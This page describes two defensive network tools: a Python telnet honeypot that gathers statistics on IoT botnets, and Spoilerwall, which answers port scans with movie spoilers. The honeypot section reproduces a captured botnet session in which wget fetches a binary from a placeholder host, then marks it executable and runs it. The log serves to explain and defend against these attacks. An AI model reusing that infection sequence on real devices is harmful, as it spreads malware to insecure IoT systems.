Python Telnet Honeypot For Catching Botnet Binaries - Telnet IoT Honeypot

This project implements a python telnet server trying to act as a honeypot for IoT Malware which spreads over horribly insecure default passwords on telnet servers on the internet.

Other than https://github.com/stamparm/hontel or https://github.com/micheloosterhof/cowrie (examples), which provides full (via chroot) or simulated behaviour of a linux system this honeypots goal is just to collect statistics of (IoT) botnets. This means that the honeypot must be made to work with every form of automated telnet session, which may try to infect the honeypot with malware. Luckily, these malwares infection processes are quite simple, just using wget do download something and running it.

Architekure

The application has a client/server architekture, with a client (the actual honeypot) accepting telnet connections and a server aggregating connection data and sample analysis.

However, for local deployments, the application can also be run in local mode to eliminate the need to run a client and server locally.

Running

The application has a config file named config.py. Samples are included for local and client/server deployments.

Client/Local Mode

python honey.py

Server

python backend.py

Opening the frontend
After the server is started, open html/index.html in your favorite browser. For this to work, the url in html/apiurl.js should point to your running backend, which it should do automatically for local deployments.

Sample Connection

enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit

Avoid being scanned by spoiling movies on all your ports! - spoilerwall

Spoilerwall introduces a brand new concept in the field of network hardening. Avoid being scanned by spoiling movies on all your ports!
Firewall? How about Fire'em'all! Stop spending thousand of dollars on big teams that you don't need! Just fire up the Spoilers Server and that's it!

Movie Spoilers DB + Open Ports + Pure Evil = Spoilerwall

Set your own:

1. Clone this repo

$ git clone git@github.com:infobyte/spoilerwall.git

2. Edit the file server-spoiler.py and set the HOST and PORT variables.
   
3. Run the server
   

$ python2 server-spoiler.py

The server will listen on the selected port (8080 by default). Redirect incoming TCP traffic in all ports to this service by running:

iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 1:65535 -j DNAT --to-destination {HOST}:{PORT}

Change {HOST} and {PORT} for the values set in step (2). Also, if the traffic is redirected to localhost, run:

sysctl -w net.ipv4.conf.eth0.route_localnet=1

Using this config, an nmap scan will show every port as open and a spoiler for each one.
